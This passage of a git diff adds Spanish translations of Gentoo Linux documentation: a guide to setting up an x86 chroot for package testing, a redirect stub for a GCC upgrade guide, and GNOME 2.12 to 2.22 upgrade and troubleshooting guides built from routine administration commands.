+
+
diff --git a/xml/htdocs/proj/es/base/x86/chroot.xml b/xml/htdocs/proj/es/base/x86/chroot.xml
new file mode 100644
index 00000000..fc35c5d7
--- /dev/null
+++ b/xml/htdocs/proj/es/base/x86/chroot.xml
@@ -0,0 +1,171 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/base/x86/chroot.xml,v 1.1 2006/07/04 15:54:07 yoswink Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/base/x86/chroot.xml" lang="es">
+<title>Guía de Configuración Chroot x86 Gentoo</title>
+
+<author title="Autor">
+  <mail link="tsunam@gentoo.org">Joshua Jackson</mail>
+</author>
+<author title="Autor">
+  <mail link="david.morgan@wadham.oxford.ac.uk">David Morgan</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="halcy0n@gentoo.org">Mark Loeser</mail>
+</author>
+<author title="Traductor">
+  <mail link="aj2r@ya.com">aj2r</mail>
+</author>
+
+
+<abstract>
+Esta guía te mostrará como crear chroots para asistir en pruebas de paquetes
+para estabilización.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2006-05-02</date>
+
+<chapter>
+<title>Cómo Chroot X86</title>
+<section>
+<title>¿Qué es un Chroot?</title>
+<body>
+
+<p>
+Un chroot es una operación que cambia el directorio raíz del proceso actual y
+de sus hijos. Dicho de la forma más simple posible, nos permite configurar una
+instalación completamente separada dentro de la que ya estás ejecutando.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurando tu Chroot para una nueva instalación</title>
+<body>
+
+<p>
+Lo primero que necesitas hacer es crear un directorio en el que resida tu
+chroot.
+</p>
+
+<pre caption="Creación de un directorio en el que resida tu chroot">
+<comment>Crea un directorio que tenga suficiente espacio para una segunda intalación. foo es nuestro ejemplo</comment>
+# <i>mkdir /foo</i>
+</pre>
+
+
+<p>
+El siguiente paso es descargar un stage 3 al chroot y desempaquetarlo.
+</p>
+
+<pre caption="Ir al punto de montaje Chroot">
+<comment>El nombre de archivo del stage mostrado es un ejemplo, el nombre del archivo real puede variar</comment>
+# <i>mv stage3-x86.tar.bz2 /foo</i>
+# <i>cd /foo</i>
+# <i>tar xvjpf stage3-x86.tar.bz2</i>
+</pre>
+
+<p>
+Para seguir con la instalación en este punto, necesitas montar unos cuantos
+directorios de tu sistema real en el chroot.
+</p>
+
+<warn>
+Puede ser que tengas que crear algunos directorios en tu chroot para poder
+montarlos, pues no puedes conseguir montar puntos que no existen.
+</warn>
+
+<pre caption="Directorios que necesitan ser montados en tu chroot">
+<comment>Monte los siguientes directorios a su área apropiada dentro de tu chroot.</comment>
+# <i>mount -t proc none /foo/proc</i>
+# <i>mount -o bind /dev /foo/dev</i>
+# <i>mount -o bind /usr/portage /foo/usr/portage</i>
+# <i>mount -o bind /usr/src/linux /foo/usr/src/linux</i>
+# <i>mount -o bind /lib/modules /foo/lib/modules</i>
+# <i>mount -o bind /sys /foo/sys</i>
+# <i>cp /etc/resolv.conf /foo/etc/resolv.conf</i>
+<comment>Finalmente, si quieres un único /tmp para los dos</comment>
+# <i>mount -o bind /tmp /foo/tmp</i>
+</pre>
+
+<note>
+Podrías querer crear un script bash simple que puedas ejecutar antes de que
+hagas un chroot a los directorios en el futuro. Es una tarea más sencilla
+ejecutar un script que recordar cada uno de los montajes que tienes que hacer.
+</note>
+
+<p>
+Como advertirás no es un chroot seguro pero, para lo que lo necesitamos, no
+necesita serlo. Con todo montado ya puedes entrar en tu nueva configuración.
+</p>
+
+<pre caption="Entrar en tu Chroot">
+# <i>chroot /foo /bin/bash</i>
+</pre>
+
+<p>
+Como ya estás en tu nuevo chroot, puedes comenzar una instalación estándar
+desde <uri
+link="/doc/es/handbook/handbook-x86.xml?part=1&amp;chap=6#doc_chap2">Configurar
+Portage</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Ejecutando aplicaciones X en tu chroot</title>
+<body>
+
+<p>
+Para poder lanzar aplicaciones con GUI desde el interior de tu chroot cuando tu
+sesión X fue iniciada fuera del chroot, hay unos pocos pasos extra que debes
+seguir.
+</p>
+
+<p>
+Primero, debes estar usando <path>/tmp</path> desde fuera del chroot (mira
+arriba). Segundo, ya que <path>/dev/pts</path> es un sistema de ficheros
+separado de <path>/dev</path>, necesitarás montarlo también.
+</p>
+
+<pre caption="Montar /dev/pts">
+# <i>mount -o bind /dev/pts /foo/dev/pts</i>
+</pre>
+
+<p>
+Tendrás que copiar también tu archivo <path>~/.xauth</path> al directorio
+inicial de tu usuario en el chroot.
+</p>
+
+<pre caption="Copiar .Xauthority">
+# <i>cp /home/user/.Xauthority /foo/home/chroot_user/</i>
+</pre>
+
+<note>
+Necesitarás volver a hacer esto cada vez que reinicies las X.
+</note>
+
+<p>
+Por último, cuando estés dentro de tu chroot, necesitas configurar la variable
+de entorno <c>DISPLAY</c>.
+</p>
+
+<pre caption="Ajustar DISPLAY">
+# <i>export DISPLAY=":0.0"</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/base/x86/gcc-upgrading-guide.xml b/xml/htdocs/proj/es/base/x86/gcc-upgrading-guide.xml
new file mode 100644
index 00000000..e42992ea
--- /dev/null
+++ b/xml/htdocs/proj/es/base/x86/gcc-upgrading-guide.xml
@@ -0,0 +1,42 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/base/x86/gcc-upgrading-guide.xml,v 1.5 2005/12/19 16:53:53 neysx Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/base/x86/gcc-upgrading-guide.xml" disclaimer="obsolete" redirect="/doc/es/gcc-upgrading.xml" lang="es">
+<title>Guía de actualización de GCC en Gentoo Linux</title>
+
+<author title="Autor">
+  <mail link="jkt@gentoo.org">Jan Kundrát</mail>
+</author>
+
+<author title="Traductor">
+  <mail link="anpereir@gentoo.org">Andrés Pereira</mail>
+</author>
+
+<abstract>
+Esta guía ha sido borrada
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.0</version>
+<date>2005-12-08</date>
+
+<chapter>
+<title>Aviso</title>
+<section>
+<body>
+
+<p>
+Esta guía ha sido expandida y trasladada a una <uri
+link="/doc/es/gcc-upgrading.xml">nueva ubicación</uri>. Por favor, use la
+versión actualizada.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.12-upgrade.xml b/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.12-upgrade.xml
new file mode 100644
index 00000000..c36b14cb
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.12-upgrade.xml
@@ -0,0 +1,372 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.12-upgrade.xml,v 1.2 2005/10/14 19:22:41 chiguire Exp $ -->
+
+<guide link="/proj/es/desktop/gnome/howtos/gnome-2.12-upgrade.xml" lang="es">
+
+<title>Guía de actualización a Gnome 2.12</title>
+
+<author title="Author">
+  <mail link="allanonjl@gentoo.org">John N. Laliberte</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+
+<abstract>
+Esta guía detalla la manera recomendada de actualizar su escritorio
+Gnome a la versión 2.12. Asume que Gnome 2.12 todavía aparece como
+inestable y ya no aparece en package.mask.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2005-10-08</date>
+
+<chapter>
+<title>¿Qué hay de nuevo? (en lo que respecta Gentoo)?</title>
+<section>
+<body>
+
+<p>
+¿Qué ha cambiado desde la versión 2.12_rc1?
+</p>
+
+<ul>
+<li>
+totem y librsvg usan gecko-sdk con el parámetro USE 'nsplugin'.
+</li>
+<li>evolution-exchange ya no se incluye en el metapaquete gnome.
+</li>
+<li>han quitado el parámetro USE firefox de evolution por
+problemas con SSL (será agregado de nuevo luego).
+</li>
+</ul>
+
+<p>
+¿Qué ha cambiado desde 2.10.2?
+</p>
+
+<ul>
+<li>mozilla ya no es un prerequisito para Gnome, ya que epiphany
+puede compilar usando firefox</li>
+<li>agregado el parámetro USE local 'firefox' para totem</li>
+</ul>
+</body>
+</section>
+</chapter>
+  
+<chapter>
+<title>Preparándonos</title>
+<section>
+<title>Desenmascarando los paquetes</title>
+<body>
+
+<p>
+Primero, empecemos por agregar los paquetes necesarios a nuestro
+archivo <path>package.unmask</path>. Esto no hará falta si ya estamos
+corriendo Gentoo inestable.
+</p>
+
+<note>
+Una lista casi completa de paquetes que deben agregarse se puede
+localizar en <uri link="http://dev.gentoo.org/~allanonjl/gnome/2.12.0/package.keywords">package.keywords.
+</uri>
+</note>
+</body>
+</section>
+
+<section>
+<title>Actualizando Python</title>
+<body>
+
+<p>
+El siguiente paso es actualizar python a la versión 2.4.
+</p>
+
+<pre caption="Actualizando python">
+# <i>emerge -av python</i>
+# <i>python-updater</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Algunas otras cosas para revisar</title>
+<body>
+
+<warn>
+Si ha instalado gnome-doc-utils, vuelva a hacerlo con emerge. (Ahora
+debería tener una versión >= a la 0.4.1).
+</warn>
+</body>
+</section>
+
+<section>
+<body>
+<impo>¿Quiere montar automáticamente los pendrive USB y que todo lo
+demás sencillamente funcione? Vea la sección "¿Y ahora qué? más adelante
+en esta misma guía.
+</impo>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Actualizando a 2.12</title>
+<section>
+<body>
+
+<p>
+Esta es la parte divertida :) actualizando a Gnome 2.12.
+</p>
+
+<pre caption="Actualizando a Gnome 2.12">
+# <i>emerge -av gnome</i>
+</pre>
+
+<p>
+O, si quiere que no sea tan pesada la descarga:
+</p>
+
+<pre caption="Actualizando Gnome 2.12, versión ligera">
+# <i>emerge -av gnome-light</i>
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Correr revdep-rebuild</title>
+<section>
+<body>
+
+<p>
+Revise si es necesario ejecutar revdep-rebuild:
+</p>
+
+<pre caption="Corriendo revdep-rebuild">
+# <i>revdep-rebuild -p</i>
+</pre>
+
+<p>
+Hará falta ejecutarlo si se listan paquetes. Para correr
+revdep-rebuild, hágalo sin el parámetro "-p".
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>¿Y ahora qué?</title>
+<section>
+<body>
+
+<p>
+Salga de su sesión Gnome actual y ¡re-iníciela!
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Desea que los periféricos se monten automáticamente al enchufarlos?</title>
+<body>
+
+<p>
+Primero, agregue hal y dbus a los parámetros USE, modificando el
+<path>/etc/make.conf</path>.
+</p>
+
+<p>
+Luego, asegúrese de haber desenmascarado hal, dbus, pmount y gamin (si
+corre ~x86, ¡esto no es necesario!). Para usar gamin, el núcleo debe
+tener activado el inotify.
+</p>
+
+<p>
+La opción inotify está localizada en "File systems -> Inotify file change notification support".
+</p>
+
+<pre caption="Desenmascarando algunas cosas">
+# <i>echo "sys-apps/hal" >> /etc/portage/package.keywords</i>
+# <i>echo "sys-apps/pmount" >> /etc/portage/package.keywords</i>
+# <i>echo "sys-apps/dbus" >> /etc/portage/package.keywords</i>
+# <i>echo "sys-fs/cryptsetup-luks" >> /etc/portage/package.keywords</i>
+# <i>echo "app-admin/gamin" >> /etc/portage/package.keywords</i>
+</pre>
+
+<p>
+A lo mejor tiene instalado cryptsetup, que bloquea la instalación
+de crypsetup-luks, así que haga:
+</p>
+
+<pre caption="Desinstalando cryptsetup">
+# <i>emerge unmerge cryptsetup</i>
+</pre>
+
+<p>
+Si tiene una versión antigua de hal instalada, haga rm -rf
+/etc/hal/device.d . De todas formas, el ebuild se lo notificará, pero
+hagámoslo ya, de una vez.
+</p>
+
+<pre caption="Preparando el emerge del paquete hal">
+# <i>rm -rf /etc/hal/device.d/</i>
+</pre>
+
+<p>
+Asegúrese que no tiene instalado el paquete app-admin/fam. Si es así,
+desinstálelo:
+</p>
+
+<pre caption="Desinstalando fam">
+# <i>rc-update del famd</i>
+# <i>emerge unmerge fam</i>
+</pre>
+
+<p>
+A continuación, la actualización, recompilando todo con los
+parámetros USE nuevos, con --newuse. Una forma de hacerlo es con
+<c>emerge -uDav --newuse world</c>.
+</p>
+
+<pre caption="Actualización con nuevos parámetros USE">
+# <i>emerge -uDav --newuse world</i>
+</pre>
+
+<p>
+Ahora tenemos que iniciar dbus y hal. Estos debe ser iniciados cada que
+arranque la máquina.
+</p>
+
+<pre caption="Iniciando dbus, hal y gamin">
+# <i>rc-update add hald default</i>
+# <i>/etc/init.d/hald start</i>
+</pre>
+
+<p>
+No olvide agregarse a sí mismo al grupo plugdev en
+<path>/etc/group</path>.
+</p>
+
+<p>
+Ahora podrá iniciar el <c>gnome-volume-manager</c> desde la línea de
+comando e insertar un pendrive USB, observar cómo se monta
+automáticamente y colocar un ícono en el escritorio :)
+</p>
+
+<p>
+Una manera que gnome-volume-manager ejecute al iniciar la sesión es ir
+al Menú de Preferencias -> Sesiones y seleccionar la pestaña de
+Programas al Inicio y agregar al <c>gnome-volume-manager</c>. Si desea
+cambiar el comportamiento del gnome-volume-manager, inicie
+<c>gnome-volume-properties</c> desde la línea de comando.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>¿Falló algo al compilar?</title>
+<section>
+<title>¿Alguien más ha visto algo semejante?</title>
+<body>
+
+<p>
+Antes que nada, ¿el error se parece a alguno de estos?
+</p>
+
+<pre caption="Errores">
+make[2]: Entering directory
+`/var/tmp/portage/gnome-desktop-2.11.90/work/gnome-desktop-2.11.90/desktop-docs'
+ Making all in fdl
+ C/fdl.xml:603: parser error : Entity 'copy' not defined
+         Copyright copy; YEAR YOUR NAME.
+	                         ^
+make[3]: Entering directory
+`/var/tmp/portage/gnome-desktop-2.11.90/work/gnome-desktop-2.11.90/desktop-docs/fdl'
+xsltproc -o fdl-C.omf --stringparam db2omf.basename fdl --stringparam
+db2omf.format 'docbook' --stringparam db2omf.dtd "-//OASIS//DTD DocBook XML
+V4.1.2//EN" --stringparam db2omf.lang C --stringparam db2omf.omf_dir
+"/usr/share/omf" --stringparam db2omf.help_dir "/usr/share/gnome/help"
+--stringparam db2omf.omf_in "`pwd`/./fdl.omf.in" `/usr/bin/pkg-config --variable
+db2omf gnome-doc-utils` C/fdl.xml
+compilation error: file C/fdl.xml line 15 element article
+xsltParseStylesheetProcess : document is not a stylesheet
+make[3]: *** [fdl-C.omf] Error 5
+make[2]: *** [all-recursive] Error 1
+make[1]: *** [all-recursive] Error 1
+make: *** [all] Error 2
+</pre>
+
+<note>Vea <uri>http://bugs.gentoo.org/103322</uri> si este es el problema.
+</note>
+
+<note>En pocas palabras, debe re-emerger el paquete gnome-doc-utils
+tal como hemos dicho anteriormente.
+</note>
+
+<pre caption="Más errores">
+Traceback (most recent call last):
+  File "/usr/bin/xml2po", line 34, in ?
+      import libxml2
+      ImportError: No module named libxml2
+      make[2]: *** [de/file-roller.xml] Error 1
+      make[2]: *** Waiting for unfinished jobs....
+      Traceback (most recent call last):
+        File "/usr/bin/xml2po", line 34, in ?
+	    import libxml2
+	    ImportError: No module named libxml2
+make[2]: *** [es/file-roller.xml] Error 1
+make[2]: Leaving directory
+`/var/tmp/portage/file-roller-2.11.92/work/file-roller-2.11.92/help'
+make[1]: *** [all-recursive] Error 1
+make[1]: Leaving directory
+`/var/tmp/portage/file-roller-2.11.92/work/file-roller-2.11.92'
+make: *** [all] Error 2
+</pre>
+
+<pre caption="Aún más errores">
+ACCESS DENIED  unlink:    /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  open_wr:   /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  unlink:    /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  open_wr:   /usr/share/xml2po/docbook.pyc
+</pre>
+
+<note>Vea <uri>http://bugs.gentoo.org/104088</uri> si le ocurren
+cualquiera de estos errores.
+</note>
+</body>
+</section>
+
+<section>
+<title>¿Qué tal si no es uno de los errores antes mencionados?</title>
+<body>
+
+<p>
+Por favor, revise en <uri>http://bugs.gentoo.org/103197</uri> a ver si
+ya se ha reportado un fallo de GNOME 2.12 para el mismo problema:
+
+</p>
+
+<p>
+El paso siguiente es buscar el nombre del paquete en bugzilla para
+verificar si alguien ya ha publicado un bug. Si después de buscar
+durante un par de años (jeje, echando broma) y no encontrar un bug
+similar, por favor, ingrese uno (vea a continuación).
+</p>
+
+<p>
+Si desea saber como ingresar un bug, por favor consulte el documento <uri>http://www.gentoo.org/doc/es/bugzilla-howto.xml</uri>.
+</p>
+
+<p>
+También estamos a la órden en el canal #gentoo-desktop.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.16-upgrade.xml b/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.16-upgrade.xml
new file mode 100644
index 00000000..4cc45a4c
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.16-upgrade.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.16-upgrade.xml,v 1.1 2007/01/05 16:12:02 chiguire Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.16-upgrade.xml" lang="es">
+
+<title>Guía de actualización a Gnome 2.16 Upgrade Guide</title>
+<author title="Autor">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+
+<abstract>
+Esta guía muestra como actualizar de Gnome 2.14.x a Gnome 2.16.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-09-08</date>
+
+<chapter>
+<title>Solucionando problemas</title>
+<section>
+<title>Fallos relacionados al construir infraestructura de notificación</title>
+<body>
+
+<p>
+libnotify construye de una manera distinta, basado en la versión de
+GTK+ instalado en el sistema al momento de instalación. Si tiene
+problemas construyendo cosas como Zenity o Rhythmbox, con fallos a
+referencias indefinidas la funciones de notificación, reconstruya
+libnotify después de haber actualizado el GTK+ a una versión 2.10.x.
+</p>
+</body>
+</section>
+
+<section>
+<title>El gnome-settings-daemon no arranca</title>
+<body>
+
+<p>
+El gnome-settings-daemon necesita una sesión local de dbus para poder
+funcionar y no arrancará si ésta no existe. El GDM automáticamente
+iniciará una sesión dbus, pero si está usando otro gestor de ventanas
+o iniciando con startx y un archivo .xinitrc necesitará iniciar esta
+sesión dbus manualmente. Coloque esto en su archivo de inicio X
+(.xinit para startx o .xsession para un gestor de ventanas):
+</p>
+
+<pre caption="Iniciando una sesión dbus">
+eval `dbus-launch --exit-with-session --sh-syntax`
+</pre>
+
+<p>
+Asegúrese que sea antes de la línea que ejecute gnome-session (o
+gnome-settings-daemon, si la está iniciando directamente).
+</p>
+
+<p>
+Alternativamente, si está usando startx y no está hacienado nada
+especial en el .xinitrc, puede borrarlo y configurar el XSESSION a
+gnome en .profile o en /etc/rc.conf. Esto iniciará correctamente dbus
+antes de iniciar gnome-session.
+</p>
+</body>
+</section>
+
+<section>
+<title>El soporte para el proveedor de IMAP 4rev1 ya no existe en Evolution</title>
+<body>
+
+<p>
+El proveedor de IMAP 4rev1 ha sido removido de Evolution en esta
+versión. Se considera rota y no soportada por sus programadores. Los
+usuarios deberán cambiar sus cuentas al proveedor normal IMAP.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.20-upgrade.xml b/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.20-upgrade.xml
new file mode 100644
index 00000000..dcb20950
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.20-upgrade.xml
@@ -0,0 +1,128 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.20-upgrade.xml,v 1.1 2007/12/20 22:56:20 chiguire Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.20-upgrade.xml" lang="es">
+
+<title>Guía de Actualización a Gnome 2.20</title>
+<author title="Autor">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Autor">
+  <mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+<author title="Traductor">
+  <mail link="nordri@gmail.com">Federico Diaz</mail>
+</author>
+
+
+<abstract>
+Esta es una guía para actualizar desde GNOME 2.18.x a GNOME 2.20.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2007-11-22</date>
+
+<chapter>
+<title>Cambios</title>
+<section>
+<title>Fuente, Tema y Preferencias de Fondo</title>
+<body>
+
+<p>
+Los paneles de control de Fuente, Tema y Fondo se han integrado dentro
+del panel de control "Apariencia". Esto significa que casi cualquier
+cambio relacionado con el aspecto de su escritorio se hace ahora desde
+una única ventana en pestañas. Vaya a Sistema -> Preferencias ->
+Apariencia para cambiar estos valores.
+</p>
+
+</body>
+</section>
+<section>
+<title>Selección del Filtro de Correo Basura en Evolution</title>
+<body>
+
+<p>
+Ahora Evolution tiene una autentica elección de filtro del correo
+basura. Viene compilado con plugins para Spamassassin y Bogofilter y
+puede elegir cual de ellos usar en tiempo de ejecución. Los parámetros
+USE se han marchado. Para elegir un plugin de correo basura, vaya a
+Preferencias -> Opciones del Correo -> Spam y establezca el
+complemento spam por defecto desde el menú desplegable.  Le indicará
+si tiene los programas adecuados instalados. Si únicamente tiene o el
+Spamassassin o el Bogofilter instalado, elegirá ese por defecto. Si
+tiene los dos, el predeterminado es Spamassassin.
+</p>
+</body>
+</section>
+
+<section>
+<title>Migración a la biblioteca de metadatos documental Rarian</title>
+<body>
+
+<p>
+Desde que nosotros sabes, los documentos de ayuda al usuario de GNOME
+han sido mantenidos e indexados por el paquete scrollkeeper. Sin
+embargo, lleva tiempo sin un mantenimiento ascendente y tiene un buen
+número de problemas, incluidos los conceptuales.
+</p>
+
+<p>
+GNOME 2.20 le proporciona un reemplazo en la forma del nuevo paquete
+Rarian.  Algunos de sus ventajas incluyen permitir a yelp generar la
+tabla de contenidos mucho más rápido, ocasionalmente permite
+deshacerse de los fallos en tiempo de instalación en todos los
+paquetes que instalan la documentación de usuario en el formato de
+actualización de base de datos de scrollkeeper y muchos más.
+</p>
+
+<p>
+Nosotros, el equipo Gentoo para GNOME, creemos que hemos hecho esta
+migración sin dolor durante la actualización a Gnome 2.20 también en
+Gentoo Linux. Esto se ha logrado a través de una versión migrada de
+scrollkeeper que sólo viene junto al paquete rarian con su capa de
+compatibilidad con scrollkeeper y no el viejo paquete
+scrollkeeper. Así que no tenga miedo, la versión 9999 de scrollkeeper
+es la que resguardará la versión migrada y no un ebuild en vivo de
+CVS. Un Portage reciente y estable debería ser capaz de encontrar la
+manera de hacer esto sin una intervención manual.
+</p>
+</body>
+</section>
+
+<section>
+<title>Otros cambios</title>
+<body>
+
+<p>
+Por favor, consulte las <uri
+link="http://www.gnome.org/start/2.20/notes/es/"> Notas de Lanzamiento
+GNOME 2.20</uri> para ver que más hay de nuevo en el mejor lanzamiento
+de GNOME.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemas Conocidos</title>
+<section>
+<title>Perdido el icono de la bandeja del Gestor de Corriente de Gnome
+(corregido)</title>
+<body>
+
+<p>
+El problema con el icono del gestor de corriente de gnome que
+desaparecía al iniciar ha sido corregido. Si tiene alguna forma
+automática de solucionarlo en su lugar, debería eliminarla después de
+actualizar.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.22-upgrade.xml b/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.22-upgrade.xml
new file mode 100644
index 00000000..1134e171
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.22-upgrade.xml
@@ -0,0 +1,203 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.22-upgrade.xml,v 1.2 2008/08/10 12:00:00 chiguire Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.22-upgrade.xml" lang="es">
+<title>Gnome 2.22 Upgrade Guide</title>
+
+<author title="Autor">
+  <mail link="remi"/>
+</author>
+<author title="Autor">
+  <mail link="leio"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+<author title="Traductor">
+  <mail link="srinclan@gmail.com">Sergio D. Rodríguez Inclan</mail>
+</author>
+
+
+<abstract>
+Esta es una guía para actualizar Gnome 2.20.x a Gnome 2.22.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2008-06-20</date>
+
+<chapter>
+<title>Cambios</title>
+<section>
+<title>Automontaje de dispositivos removibles</title>
+<body>
+
+<p>
+El automontaje ha tenido unos pocos cambios significativos en Gnome 2.22. Ahora
+está manejado por Nautilus en vez de <c>gnome-base/gnome-volume-manager</c>.
+De cualquier manera, <c>gnome-volume-manager</c> aún es usado para detectar
+nuevo hardware como por ejemplo cámaras.
+</p>
+
+<p>
+Debido a éste cambio, ahora exíste un parámetro USE llamado <c>automount</c>
+en <c>gnome-volume-manager</c> para los usuarios que deseen
+mantener el anterior comportamiento. Los usuarios que anteriormente
+comenzaron con <c>gnome-volume-manager</c> en escritorios no-Gnome
+deberían activar ésta USE. Los usuarios de Gnome por otro lado 
+deberían asegurarse de que ésta USE no éste activa, ya que causará
+problemas con Nautilus.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gestor de claves Seahorse</title>
+<body>
+
+<p>
+Comenzando con 2.22, Seahorse (<c>app-crypt/seahorse</c>) es el gestor
+oficial de claves y contraseñas, reemplazando el GNOME Keyring Manager
+(<c>gnome-extra/gnome-keyring-manager</c>). Maneja claves GPG y SSH
+keys y puede ser utilizado para manejar las contraseñas salvadas al
+llavero Gnome.
+</p>
+
+<p>
+Si se siente contento con Seahorse al concluir la actualización de
+Gnome, puede considerar el desinstalar el
+<c>gnome-keyring-manager</c>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Integración de PAM y GNOME</title>
+<body>
+
+<p>
+A partir de Gnome 2.20, el llavero Gnome
+(<c>gnome-base/gnome-keyring</c>) proporciona un módulo PAM
+(<path>pam_gnome_keyring.so</path>) para abrir el llavero
+automáticamente al hacer login a la sesión, ahorrando la necesidad de
+ingresar dos claves.
+</p>
+
+<p>
+En Gnome 2.22 esta característica es más fácilmente configurable,
+gracias a <c>sys-auth/pambase</c> que tiene un parámetro USE
+<c>gnome-keyring</c>. Al seleccionar Usando este parámetro, se insertará
+automáticamente <path>pam_keyring.so</path> en los lugares correctos
+en los archivos de configuración de PAM bajo
+<path>/etc/pam.d/</path>. Solo recuerde usar <c>dispatch-conf</c> o su
+herramienta preferida para actualizar los archivos de configuración
+después de instalar <c>pambase</c>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Otros cambios</title>
+<body>
+
+<p>
+Por favor vea las <uri
+link="http://library.gnome.org/misc/release-notes/2.22/">Notas de
+Lanzamiento de Gnome 2.22</uri> (en inglés) para averiguar qué otras
+novedades habrá en este importante lanzamiento de Gnome.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Solucionando problemas</title>
+<section>
+<title>Actualizando a Python 2.5</title>
+<body>
+
+<p>
+Ántes de actualizar a Gnome 2.22, por favor asegúrese de
+<e>sólo</e> tener <c>dev-lang/python-2.5*</c> instalado y
+de que su sistema está completamente actualizado.
+</p>
+
+<pre caption="Actualizando python">
+# <i>emerge -av dev-lang/python:2.5</i>
+# <i>python-updater</i>
+# <i>emerge -C dev-lang/python:2.4</i>
+</pre>
+
+<warn>
+Si crea incidencias en bugzilla relacionadas a errores de Python y
+si usted aún esta usando Python 2.4, le <e>pediremos</e> 
+que actualice a la versión 2.5 de Python. El Herd de GNOME <e>no</e>
+da soporte a GNOME 2.22 con Python 2.4.
+</warn>
+</body>
+</section>
+<section>
+<title>Paquetes bloqueados</title>
+<body>
+
+<p>
+Con Gnome 2.22 algunos paquetes fueron separados en dos partes para
+permitir que otras aplicaciones pudiesen utilizar las librerías que
+previamente eran internas. Por ejemplo, el analizador de lista de
